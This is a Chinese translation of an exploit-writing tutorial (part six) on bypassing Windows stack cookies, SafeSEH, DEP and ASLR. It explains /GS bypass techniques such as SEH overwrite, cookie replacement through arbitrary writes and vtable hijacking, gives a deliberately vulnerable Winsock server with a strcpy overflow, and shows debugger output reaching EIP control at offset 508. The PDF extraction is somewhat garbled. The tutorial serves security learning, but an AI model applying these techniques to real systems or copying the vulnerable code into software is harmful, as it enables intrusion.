1、Exploit 编写系列教程第六 篇 : 绕 过 C ookie,SafeSeh,HWDEP 和 ASLR作者: PeterVan Eeckhoutte译者: dge导言在本系列教程 的以前章节中,我们看到了如何在 windowsxp/2003server上编写 exploit。这些 exploit之所以有效是基于这样一个事实 -我们能找到一个固定的跳转地址或 pop/pop/ret地 址 ,它可以让应用程序跳到 shellcode去执行。不 管在什么漏洞场景下,我 们都能或多或少的在操作系统的 DLL或应用程序的 DLL中找到地址固定的跳转地址, 这 些地址即使在系统重启后依然保持不变, 正
2、 是有了这 样固定的跳板地址才让 exploit得以可靠工作。值得庆幸的是,不计其数的 windows用户所使用的系统都内置了许多保护机制:- Stackcookies(/GS Switchcookie)- Safeseh(/Safesehcompilerswitch)- Data ExecutionPrevention(DEP)(softwareand hardwarebased)- AddressSpaceLayoutRandomization (ASLR)栈中 的 cookie/G S 保护/GS编译选项会在函数的开头和结尾添加代码来阻止对典型的栈溢出漏洞(字符串缓冲区)的利用。当应用程
3、序启动时,程序的 cookie( 4 字节( dword) ,无符号整型)被计算出来(伪随机数)并保存在加载模块的 .data节中 , 在函数的开头这个 cookie被拷贝到栈中, 位于 EBP和返回地址的正前方 ( 位于 返回地址和局部变量的中间)。buffercookiesavedEBPsavedEIP在函数的结尾处,程序会把这个 cookie和保存在 .data节中的 cookie进行比较。如果不相等,就说明进程栈被破坏,进程必须被终止。为了尽量减少额外的代码行 对 性能 带来的 影响 , 只 有当一个函数中包含字符串缓冲区或使用 _alloca函 数在栈上分配空间的时候编译器才在栈中保
4、存 cookie。另外,当缓冲区至少于 5 个字节时,在栈中也不保存 cookie。在典型的缓冲区溢出中,栈上的返回地址会被数据所覆盖,但在返回地址被覆盖之前 , cookie早已经被覆盖了,因 此就导致了 exploit的失效( 但仍然可以导致拒绝服务),因 为在函数的结尾程序会发现 cookie已经被破坏,接着应用程序会被结束。buffercookiesavedEBPsavedEIPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|/GS的另外一个重要保护机制是变量重新排序。 为 了防止对函数本地变量和参数的攻击, 编 译器会对栈 帧重新排序, 把 字符串缓冲区
5、分配在栈帧的最高地址上, 因 此当字符串缓冲区被溢出时, 也 就不能溢出任 何本地变量了。更 多 关 于 cookie 的 资 料 : http:/en.wikipedia.org/wiki/Buffer_overflow_protection,http:/ 的 cookie/G S 绕过方法挫败这种 栈溢出保护机制 的最直接的方法是 检索 / 猜测 / 计算 出 cookie值 (这样就可以 用相同的 cookie覆盖栈中的 cookie) , 这个 cookie有时候 (很少) 是一个静态值 但即使如此, 它也可能包含一些不 利的字符而导致不能使用它。DavidLitchfield在 20
6、03年发表了一篇用其他的技术来绕过堆栈保护的文章, 不 需要猜测 c o o k i e( AlexSoritov, Mark Dowd,Matt Miller三个人在这里做了很出色的工作)。David这样描述: 如果 cookie被一个跟原始 cookie不同的值覆盖了, 代 码会检查是否安装了安全处理 例程, ( 如果没有, 系统的异常处理器将接管它) 。 如 果黑客覆盖掉一个异常处理结构 (下一个 SEH 的指 针+ 异常处理器指针) , 并在 cookie被检查前触发一个异常, 这时栈中尽管依然存在 cookie,但栈还是可 以被成功溢出( = 利用 SEH 的 exploit)。毕竟
7、, /GS最重要的一个缺陷是它没有保护异常处理 器,在这点上,程 序完全依 赖 SEH 保护机制(例如SafeSEH等)来解决这个问题。正如第三部分所说, safeSEH也可以被绕过。在 2003 server(最新的 xp/vista/7/ 版本)中异常处理结构被修改了,这使得在这些操作系统中很难攻 击 成 功 。 异常 处 理 器 会 在 “ Load ConfigurationDirectory” 中注册,并 且当一个异常处理器被执行 前 ,操作系统会检查这个异常处理器是否被注册过,稍后,我们会讨论如何绕过它。利用异常处理 器绕过我们可以通过在检查 cookie前触发异常来挫败栈的这种保
8、护。( 或者尝试覆盖其他在 cookie被检查前 就被引用的数据 ( 通过堆栈传给漏洞函数的参数) ) , 然 后再对付 SEH 保护机制, 如 果它存在的话 当然 第二种方法只适用于可以向引用数据写入的情况,你可以改写栈低以下的数据。buffercookieEHrecordsavedebpsavedeipargumentsoverwrite- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 在这种情况下, 你 需要能覆盖到足够远的地方, 并且程序必须安装了一个异常处理器 ( 它会被覆盖) , 如果你能控制异常处理器的
9、地址 ( 存在于注册的异常结构中) , 那 么用加载模块以外的地址覆盖它 ( 这个 地址应该是有效的,例如操作系统模块中的 地址等等),在新 版操作系统中, 大多数模块在编译 时使用了/safeseh,因此 exploit将会失败,但是你仍然可以尝试在未启用 /safeseh(正如在教程的第三部分解释的 ) 的 dll中找到一个地址。毕竟, GS 并不能保护堆栈中的 SEH 域,只需要绕过 SafeSEH保护, exploit就可以成功。在教程的第三部分,我们已经提到需要用 pop/pop/ret指令的地址覆盖这个指针。(需要在 nseh域上放上一个能跳转到 shellcode的指令) , 或
10、 者 ( 如果你在程序的加载模块中找不到 pop/pop/ret指令) , 你可以观察下 esp/ebp,查看下这些寄存器距离 nseh的偏移,接下来就是查找这样的指令:- call dwordptr esp+nn- call dwordptr ebp+nn- jmp dwordptr esp+nn- jmp dwordptrebp+nn其中的 nn 就是寄存器的值到 nseh的偏移。 这 些指令可能更容易找到, 但 它们同样可以正常工作, Immdbg的插件 pvefindaddr可以帮你找到这种指令。通过同时替换 栈中和 . d a t a 节中 的 c oo k i e 来绕过另一种技术
11、是通过替换加载模块 .data节中的 cookie值(它是可写的,否则程序就无法在运行中动态更新 cookie了)来绕过栈上的 cookie保护,并用相同的值替换栈中的 cookie,如果你有权在任意地方写入任意值( 4 字节的任意写操作) - 如果类似下边的指令造成访问违例,那表明可能是一个任 意 4 字节的写操作。mov dwordptrreg1,reg2(很明显,为了完成这个任 务,你需要 能控 制 reg1和 reg2) reg1应该包含需要写入的内存位 置, reg2应该包含你想写入这个地址的值。利用未被保护 的缓冲区 来实现绕 过另外一个利用的机会是利用漏洞代码不包含字符串缓冲区(
12、因此堆栈中就没 有 cookie)这对拥有一个整数数组或指针的函数同样有效。buffercookieEHrecordsavedebpsavedeiparguments例如:如果 arguments不包含字符串缓冲区或指针,你就可以覆盖这些参数,因为事实上 GS 不会保护这个函数。通过覆盖上层 函数的栈 数据来绕 过当函数的参数是对象指针或结构指针时, 这 些对象或结构存在于调用者的堆栈中, 这 也能导致 GS 被绕过 ,(覆盖对象和虚函表指针, 如 果你把这个指针指向一个用于欺骗的虚函数表, 你 就可以重定向这个虚函 数的调用,并执行恶意的代码。)。通过猜测 / 计算 出 c oo k i e
13、 来绕过Reducingthe EffectiveEntropyof GS Cookies基于静 态 c oo k i e 的 绕过最后, 如 果每次的 cookie是相同 / 静态的, 这 样的话, 你 就可以在溢出时简单的把这个值放在堆栈的相 应位置上。堆 栈 cookie 保护调试及演示为 了 证 实 堆 栈 中 cookie 的 行 为 , 我 们 使 用 在 http:/www.security- pr()传送多余 500字节的数据,它将被溢出。打 开 Visual Studio C+ 2008 ( Express 版 本 可 从 这 里 下 载http:/ 它 能 在 VS2008
14、中 编译 , 我稍微修改了原来的代码 。/ vulnerableserver.cpp: Definesthe entrypointfor the consoleapplication./#include“ stdafx.h“#include“ winsock.h“#include“ windows.h“/loadwindowssocket#pragmacomment(lib,“ wsock32.lib“)/DefineReturnMessages#defineSS_ERROR1#defineSS_OK0void pr( char *str)char buf500=“;strcpy(buf,st
15、r);void sError(char *str)printf(“Error%s“,str);WSACleanup();int _tmain(int argc,_TCHAR*argv)WORD sockVersion;WSADATAwsaData;int rVal;char Message5000=“;char buf2000=“;u_shortLocalPort;LocalPort= 200;/wsock32initialized for usagesockVersion= MAKEWORD(1,1);WSAStartup(sockVersion,/createserversocketSOC
16、KETserverSocket= socket(AF_INET,SOCK_STREAM,0);if(serverSocket= INVALID_SOCKET)sError(“Failedsocket()“);returnSS_ERROR;SOCKADDR_INsin;sin.sin_family= PF_INET;sin.sin_port= htons(LocalPort);sin.sin_addr.s_addr= INADDR_ANY;/bindthe socketrVal = bind(serverSocket,(LPSOCKADDR)if(rVal= SOCKET_ERROR)sErro
17、r(“Failedbind()“);WSACleanup();returnSS_ERROR;/getsocketto listenrVal = listen(serverSocket,10);if(rVal= SOCKET_ERROR)sError(“Failedlisten()“);WSACleanup();returnSS_ERROR;/waitfor a clientto connectSOCKETclientSocket;clientSocket= accept(serverSocket,NULL,NULL);if(clientSocket= INVALID_SOCKET)sError
18、(“Failedaccept()“);WSACleanup();returnSS_ERROR;int bytesRecv= SOCKET_ERROR;while( bytesRecv= SOCKET_ERROR)/receivethe data that is beingsent by the clientmax limitto 5000 bytes.bytesRecv= recv(clientSocket,Message,5000,0 );if ( bytesRecv= 0 | bytesRecv= WSAECONNRESET)printf(“ nConnectionClosed.n“);b
19、reak;/Passthe data receivedto the functionprpr(Message);/closeclientsocketclosesocket(clientSocket);/closeserversocketclosesocket(serverSocket);WSACleanup();returnSS_OK;编辑漏洞程序的属性。转到 C / C + + 代码生成,并设置 “ BufferSecurityCheck” 为 NO。编译代码(调试模式)在调试器中打开漏洞程序 server.exe,并观察函数 pr():(8c0.9c8):Breakinstructione
20、xception- code 80000003(firstchance)eax=7ffde000ebx=00000001ecx=00000002edx=00000003esi=00000004edi=00000005eip=7c90120eesp=0039ffccebp=0039fff4iopl=0 nv up ei pl z r na pe nccs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246ntdll!DbgBreakPoint:7c90120ecc int 30:001uf pr* WARNING: Unable t
21、o verify checksum for C:Documentsand SettingspeterMyDocumentsVisualStudio2008ProjectsvulnerableserverDebugvulnerableserver.exevulnerable_server!prc:documentsand settingspetermydocumentsvisualstudio2008projectsvulnerableservervulnerableservervulnerableserver.cpp 17:17 0041143055 push ebp17 004114318b
22、ec mov ebp,esp17 0041143381ecbc020000 sub esp,2BCh17 0041143953 push ebx17 0041143a56 push esi17 0041143b57 push edi17 0041143c8dbd44fdffff lea edi,ebp-2BCh17 00411442b9af000000 mov ecx,0AFh17 00411447b8cccccccc mov eax,0CCCCCCCCh17 0041144cf3ab rep stos dwordptr es:edi18 0041144ea03c574100 mov al,b
23、yteptr vulnerable_server!string (0041573c)18 00411453888508feffff mov byte ptr ebp-1F8h,al18 0041145968f3010000 push 1F3h18 0041145e6a00 push 018 004114608d8509feffff lea eax,ebp-1F7h18 0041146650 push eax18 00411467e81bfcffff call vulnerable_server!ILT+130(_memset)(00411087)18 0041146c83c40c add es
24、p,0Ch19 0041146f8b4508 mov eax,dwordptr ebp+819 0041147250 push eax19 004114738d8d08feffff lea ecx,ebp-1F8h19 0041147951 push ecx19 0041147ae83ffcffff call vulnerable_server!ILT+185(_strcpy)(004110be)19 0041147f83c408 add esp,820 0041148252 push edx20 004114838bcd mov ecx,ebp20 0041148550 push eax20
25、 004114868d15a8144100 lea edx,vulnerable_server!pr+0x78(004114a8)20 0041148ce80ffcffff call vulnerable_server!ILT+155(_RTC_CheckStackVars(004110a0)20 0041149158 pop eax20 004114925a pop edx20 004114935f pop edi20 004114945e pop esi20 004114955b pop ebx20 0041149681c4bc020000 add esp,2BCh20 0041149c3
26、bec cmp ebp,esp20 0041149ee8cffcffff call vulnerable_server!ILT+365(_RTC_CheckEsp)(00411172)20 004114a38be5 mov esp,ebp20 004114a55d pop ebp20 004114a6c3 ret如你所见,这个函数的开头并没有关于 cookie的任何东西。现在打开 /GS选项重新编译,并再次观察这个函数 :(738.828):Breakinstructionexception- code 80000003(firstchance)eax=00251eb4ebx=7ffdc000
27、ecx=00000002edx=00000004esi=00251f48edi=00251eb4eip=7c90120eesp=0012fb20ebp=0012fc94iopl=0 nv up ei pl n z na po nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202ntdll!DbgBreakPoint:7c90120ecc int 30:000uf pr* WARNING:Unableto verifychecksumfor vulnerableserver.exevulnerable_server!prc:
28、documentsand settingspetermydocumentsvisualstudio2008projectsvulnerableservervulnerableservervulnerableserver.cpp 17:17 0041143055 push ebp17 004114318bec mov ebp,esp17 0041143381ecc0020000 sub esp,2C0h17 0041143953 push ebx17 0041143a56 push esi17 0041143b57 push edi17 0041143c8dbd40fdffff lea edi,
29、ebp-2C0h17 00411442b9b0000000 mov ecx,0B0h17 00411447b8cccccccc mov eax,0CCCCCCCCh17 0041144cf3ab rep stos dwordptr es:edi17 0041144ea100704100 mov eax,dword ptr vulnerable_server!_security_cookie(00417000)17 0041145333c5 xor eax,ebp17 004114558945fc mov dwordptr ebp-4,eax18 00411458a03c574100 mov a
30、l,byteptr vulnerable_server!string (0041573c)18 0041145d888504feffff mov byte ptr ebp-1FCh,al18 0041146368f3010000 push 1F3h18 004114686a00 push 018 0041146a8d8505feffff lea eax,ebp-1FBh18 0041147050 push eax18 00411471e811fcffff call vulnerable_server!ILT+130(_memset)(00411087)18 0041147683c40c add
31、 esp,0Ch19 004114798b4508 mov eax,dwordptr ebp+819 0041147c50 push eax19 0041147d8d8d04feffff lea ecx,ebp-1FCh19 0041148351 push ecx19 00411484e835fcffff call vulnerable_server!ILT+185(_strcpy)(004110be)19 0041148983c408 add esp,820 0041148c52 push edx20 0041148d8bcd mov ecx,ebp20 0041148f50 push ea
32、x20 004114908d15bc144100 lea edx,vulnerable_server!pr+0x8c(004114bc)20 00411496e805fcffff call vulnerable_server!ILT+155(_RTC_CheckStackVars(004110a0)20 0041149b58 pop eax20 0041149c5a pop edx20 0041149d5f pop edi20 0041149e5e pop esi20 0041149f5b pop ebx20 004114a08b4dfc mov ecx,dwordptr ebp-420 00
33、4114a3 33cd xor ecx,ebp20 004114a5 e879fbffff call vulnerable_server!ILT+30(_security_check_cookie(00411023)20 004114aa81c4c0020000 add esp,2C0h20 004114b03bec cmp ebp,esp20 004114b2e8bbfcffff call vulnerable_server!ILT+365(_RTC_CheckEsp)(00411172)20 004114b78be5 mov esp,ebp20 004114b95d pop ebp20 0
34、04114bac3 ret在这个函数的开头,做了下边这些操作:- sub esp,2c0h: 预留 704字节空间- mov eax,dwordptrvulnerable_server!_security_cookie(00417000): 提取 cookie副本- xor eax,ebp: cookie和 ebp进行异或。- 然后把 cookie保存到堆栈中返回地址的下方。- 在函数的结尾,下边的指令被执行:- mov ecx,dwordptr ebp-4: 获取 cookie的副本。- xor ecx,ebp: 再次执行异或操作- call vulnerable_server!ITL+30
35、(_security_check_cookie(00411023): 跳入例 程进 行 cookie验证。简而言之: 在函数的开头 一个安全的 cookie被添加到堆栈 中,当函数返回时会对这个 cookie进行验证 。当你发送超过 500字节的数据到 200端口尝试溢出缓冲区的时候, 这 个应用程序挂掉了 ( 在调试器中, 程序执行到一个断点 - 用 VS2008C+编译的程序在运行时未初始化变量默认都被置成 0xcc)(a38.444):Breakinstructionexception- code 80000003(firstchance)eax=00000001ebx=0041149b
36、ecx=bb522d78edx=0012cb9besi=102ce7b0edi=00000002eip=7c90120eesp=0012cbbcebp=0012da08iopl=0 nv up ei pl n z na po nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202ntdll!DbgBreakPoint:7c90120ecc int 30:000d esp0012cbbc06 24 41 00 00 00 00 00-015c 41 00 2c da 12 00 .$AA.,.0012cbcc2c da 12
37、00 00 00 00 00-dccb 12 00 b0 e7 2c 10 ,.,.0012cbdc53 00 74 00 61 00 63 00-6b00 20 00 61 00 72 00 S.t.a.c.ka.r.0012cbec6f 00 75 00 6e 00 64 00-2000 74 00 68 00 65 00 o.u.n.dt.h.e.0012cbfc20 00 76 00 61 00 72 00-6900 61 00 62 00 6c 00 .v.a.r.i.a.b.l.0012cc0c65 00 20 00 27 00 62 00-7500 66 00 27 00 20
38、00 e. .b.u.f.0012cc1c77 00 61 00 73 00 20 00-6300 6f 00 72 00 72 00 w.a.sc.o.r.r.0012cc2c75 00 70 00 74 00 65 00-6400 2e 00 00 00 00 00 u.p.t.e.d.( esp指向的内容 “ Stackaroundthe variable buf was corrupted” , 它是 VS2008中 RTC检查的结果,可以通过在 VisualStudio中禁用编译优化或者设置 TRCu参数来禁止运行时检查,当然在正常情况下,你不应该禁止它,因为它可以有效的阻止堆栈腐败
39、。)当你用 lcc-win32编译原代码的时候(它没有编译保护,因此运行的时候很脆弱),在 windbg中打开执行文件(现在还没有启动),然后观察这个函数:(82c.af4):Breakinstructionexception- code 80000003(firstchance)eax=00241eb4ebx=7ffd7000ecx=00000005edx=00000020esi=00241f48edi=00241eb4eip=7c90120eesp=0012fb20ebp=0012fc94iopl=0 nv up ei pl n z na po nccs=001b ss=0023 ds=0
40、023 es=0023 fs=003b gs=0000 efl=00000202ntdll!DbgBreakPoint:7c90120ecc int 30:000uf pr* WARNING:Unableto verifychecksumfor c:sploitsvulnsrvvulnsrv.exevulnsrv!pr:004012d455 push ebp004012d589e5 mov ebp,esp004012d781ecf4010000 sub esp,1F4h004012ddb97d000000 mov ecx,7Dhvulnsrv!pr+0xe:004012e249 dec ecx
41、004012e3c7048c5a5afaffmov dwordptr esp+ecx*4,0FFFA5A5Ah004012ea75f6 jne vulnsrv!pr+0xe(004012e2)vulnsrv!pr+0x18:004012ec56 push esi004012ed57 push edi004012ee8dbd0cfeffff lea edi,ebp-1F4h004012f48d35a0a04000 lea esi,vulnsrv!main+0x8d6e(0040a0a0)004012fab9f4010000 mov ecx,1F4h004012fff3a4 rep movs by
42、te ptr es:edi,byteptr esi00401301ff7508 push dwordptr ebp+8004013048dbd0cfeffff lea edi,ebp-1F4h0040130a57 push edi0040130be841300000 call vulnsrv!main+0x301f(00404351)0040131083c408 add esp,8004013135f pop edi004013145e pop esi00401315c9 leave00401316c3 ret现在发送 1000个字符到服务程序(没用 /GS编译),它挂掉了。(c60.cb0)
43、:Accessviolation- code c0000005(! secondchance!)eax=0012e656ebx=00000000ecx=0012e44eedx=0012e600esi=00000001edi=00403388eip=72413971esp=0012e264ebp=41387141iopl=0 nv up ei pl z r na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=0000024672413971? ?0:000!loadbyakuganByakuganSuccessfullyload
44、ed!0:000!pattern_offset1000ByakuganControlof ebp at offset504.ByakuganControlof eip at offset508.我们可以在 508字节偏移的地方控制 EIP,这时 ESP指向我们的缓冲区 :0:000d esp0012e26430 41 72 31 41 72 32 41-7233 41 72 34 41 72 35 0Ar1Ar2Ar3Ar4Ar50012e27441 72 36 41 72 37 41 72-3841 72 39 41 73 30 41 Ar6Ar7Ar8Ar9As0A0012e28473 3
45、1 41 73 32 41 73 33-4173 34 41 73 35 41 73 s1As2As3As4As5As0012e29436 41 73 37 41 73 38 41-7339 41 74 30 41 74 31 6As7As8As9At0At10012e2a441 74 32 41 74 33 41 74-3441 74 35 41 74 36 41 At2At3At4At5At6A0012e2b474 37 41 74 38 41 74 39-4175 30 41 75 31 41 75 t7At8At9Au0Au1Au0012e2c432 41 75 33 41 75 34
46、 41-7535 41 75 36 41 75 37 2Au3Au4Au5Au6Au70012e2d441 75 38 41 75 39 41 76-3041 76 31 41 76 32 41 Au8Au9Av0Av1Av2A0:000d0012e2e476 33 41 76 34 41 76 35-4176 36 41 76 37 41 76 v3Av4Av5Av6Av7Av0012e2f438 41 76 39 41 77 30 41-7731 41 77 32 41 77 33 8Av9Aw0Aw1Aw2Aw30012e30441 77 34 41 77 35 41 77-3641 7
47、7 37 41 77 38 41 Aw4Aw5Aw6Aw7Aw8A0012e31477 39 41 78 30 41 78 31-4178 32 41 78 33 41 78 w9Ax0Ax1Ax2Ax3Ax0012e32434 41 78 35 41 78 36 41-7837 41 78 38 41 78 39 4Ax5Ax6Ax7Ax8Ax90012e33441 79 30 41 79 31 41 79-3241 79 33 41 79 34 41 Ay0Ay1Ay2Ay3Ay4A0012e34479 35 41 79 36 41 79 37-4179 38 41 79 39 41 7a
48、 y5Ay6Ay7Ay8Ay9Az0012e35430 41 7a 31 41 7a 32 41-7a33 41 7a 34 41 7a 35 0Az1A z2A z3A z4A z50:000d0012e36441 7a 36 41 7a 37 41 7a-3841 7a 39 42 61 30 42 Az6A z7A z8A z9Ba0B0012e37461 31 42 61 32 42 61 33-4261 34 42 61 35 42 61 a1Ba2Ba3Ba4Ba5Ba0012e38436 42 61 37 42 61 38 42-6139 42 62 30 42 62 31 6Ba7Ba8Ba9Bb0Bb10012e39442 62 32 42 62 33 42 62-3442 62 35 42 62 36 42 Bb